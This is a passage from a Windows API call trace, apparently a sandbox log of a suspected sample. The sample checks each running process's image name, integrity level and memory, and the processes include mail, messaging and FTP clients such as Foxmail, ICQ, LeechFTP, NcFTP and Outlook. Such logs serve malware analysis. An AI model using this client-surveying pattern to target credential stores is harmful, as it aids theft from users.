lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.160] OpenProcessToken (in: ProcessHandle=0x23c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.160] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.160] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.160] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.160] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.160] NtClose (Handle=0x2e8) returned 0x0 [0075.160] NtQueryVirtualMemory (in: ProcessHandle=0x23c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.160] NtQueryVirtualMemory (in: ProcessHandle=0x23c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.171] QueryFullProcessImageNameW (in: hProcess=0x240, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows NT\\foxmailincmail.exe", lpdwSize=0x174fa50) returned 1 [0075.171] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.171] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.171] IsWow64Process (in: hProcess=0x240, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.171] NtQueryInformationProcess (in: ProcessHandle=0x240, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.171] GetProcessTimes (in: hProcess=0x240, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.171] OpenProcessToken (in: ProcessHandle=0x240, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.171] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.171] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.171] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.171] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.171] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.172] NtClose (Handle=0x2e8) returned 0x0 [0075.172] NtQueryVirtualMemory (in: ProcessHandle=0x240, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.172] NtQueryVirtualMemory (in: ProcessHandle=0x240, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.182] QueryFullProcessImageNameW (in: hProcess=0x244, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Microsoft Synchronization Services\\gmailnotifierpro.exe", lpdwSize=0x174fa50) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1966e78 [0075.183] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18ee648) returned 1 [0075.183] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.183] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.183] IsWow64Process (in: hProcess=0x244, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.183] NtQueryInformationProcess (in: ProcessHandle=0x244, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.183] GetProcessTimes (in: hProcess=0x244, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.183] OpenProcessToken (in: ProcessHandle=0x244, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.183] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.183] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.183] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.183] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.183] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.183] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.183] NtClose (Handle=0x2e8) returned 0x0 [0075.183] NtQueryVirtualMemory (in: ProcessHandle=0x244, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.183] NtQueryVirtualMemory (in: ProcessHandle=0x244, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.234] QueryFullProcessImageNameW (in: hProcess=0x248, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\icq.exe", lpdwSize=0x174fa50) returned 1 [0075.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.234] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.234] IsWow64Process (in: hProcess=0x248, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.234] NtQueryInformationProcess (in: ProcessHandle=0x248, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.234] GetProcessTimes (in: hProcess=0x248, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.234] OpenProcessToken (in: ProcessHandle=0x248, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.234] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.235] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.235] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.235] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.235] NtClose (Handle=0x2e8) returned 0x0 [0075.235] NtQueryVirtualMemory (in: ProcessHandle=0x248, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.235] NtQueryVirtualMemory (in: ProcessHandle=0x248, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.246] QueryFullProcessImageNameW (in: hProcess=0x24c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\leechftp.exe", lpdwSize=0x174fa50) returned 1 [0075.246] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.246] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.246] IsWow64Process (in: hProcess=0x24c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.246] NtQueryInformationProcess (in: ProcessHandle=0x24c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.246] GetProcessTimes (in: hProcess=0x24c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.246] OpenProcessToken (in: ProcessHandle=0x24c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.246] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.246] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.246] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.246] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.246] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.246] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.246] NtClose (Handle=0x2e8) returned 0x0 [0075.246] NtQueryVirtualMemory (in: ProcessHandle=0x24c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.246] NtQueryVirtualMemory (in: ProcessHandle=0x24c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.257] QueryFullProcessImageNameW (in: hProcess=0x250, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\ncftp.exe", lpdwSize=0x174fa50) returned 1 [0075.257] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.257] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.257] IsWow64Process (in: hProcess=0x250, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.257] NtQueryInformationProcess (in: ProcessHandle=0x250, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.257] GetProcessTimes (in: hProcess=0x250, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.257] OpenProcessToken (in: ProcessHandle=0x250, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.257] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.257] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.258] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.258] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.258] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.258] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.258] NtClose (Handle=0x2e8) returned 0x0 [0075.258] NtQueryVirtualMemory (in: ProcessHandle=0x250, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.258] NtQueryVirtualMemory (in: ProcessHandle=0x250, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.269] QueryFullProcessImageNameW (in: hProcess=0x254, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Defender\\notepad.exe", lpdwSize=0x174fa50) returned 1 [0075.269] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.269] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.269] IsWow64Process (in: hProcess=0x254, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.269] NtQueryInformationProcess (in: ProcessHandle=0x254, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.269] GetProcessTimes (in: hProcess=0x254, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.269] OpenProcessToken (in: ProcessHandle=0x254, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.269] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.269] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.269] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.270] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.270] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.270] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.270] NtClose (Handle=0x2e8) returned 0x0 [0075.270] NtQueryVirtualMemory (in: ProcessHandle=0x254, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.270] NtQueryVirtualMemory (in: ProcessHandle=0x254, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.280] QueryFullProcessImageNameW (in: hProcess=0x258, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Uninstall Information\\operamail.exe", lpdwSize=0x174fa50) returned 1 [0075.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.281] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.281] IsWow64Process (in: hProcess=0x258, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.281] NtQueryInformationProcess (in: ProcessHandle=0x258, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.281] GetProcessTimes (in: hProcess=0x258, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.281] OpenProcessToken (in: ProcessHandle=0x258, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.281] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.281] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.281] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.281] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.281] NtClose (Handle=0x2e8) returned 0x0 [0075.281] NtQueryVirtualMemory (in: ProcessHandle=0x258, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.281] NtQueryVirtualMemory (in: ProcessHandle=0x258, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.292] QueryFullProcessImageNameW (in: hProcess=0x25c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\outlook.exe", lpdwSize=0x174fa50) returned 1 [0075.292] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.292] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.292] IsWow64Process (in: hProcess=0x25c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.292] NtQueryInformationProcess (in: ProcessHandle=0x25c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.292] GetProcessTimes (in: hProcess=0x25c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.292] OpenProcessToken (in: ProcessHandle=0x25c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.292] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.292] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.292] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.292] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.292] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.293] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.293] NtClose (Handle=0x2e8) returned 0x0 [0075.293] NtQueryVirtualMemory (in: ProcessHandle=0x25c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.293] NtQueryVirtualMemory (in: ProcessHandle=0x25c, Address=0x10000, 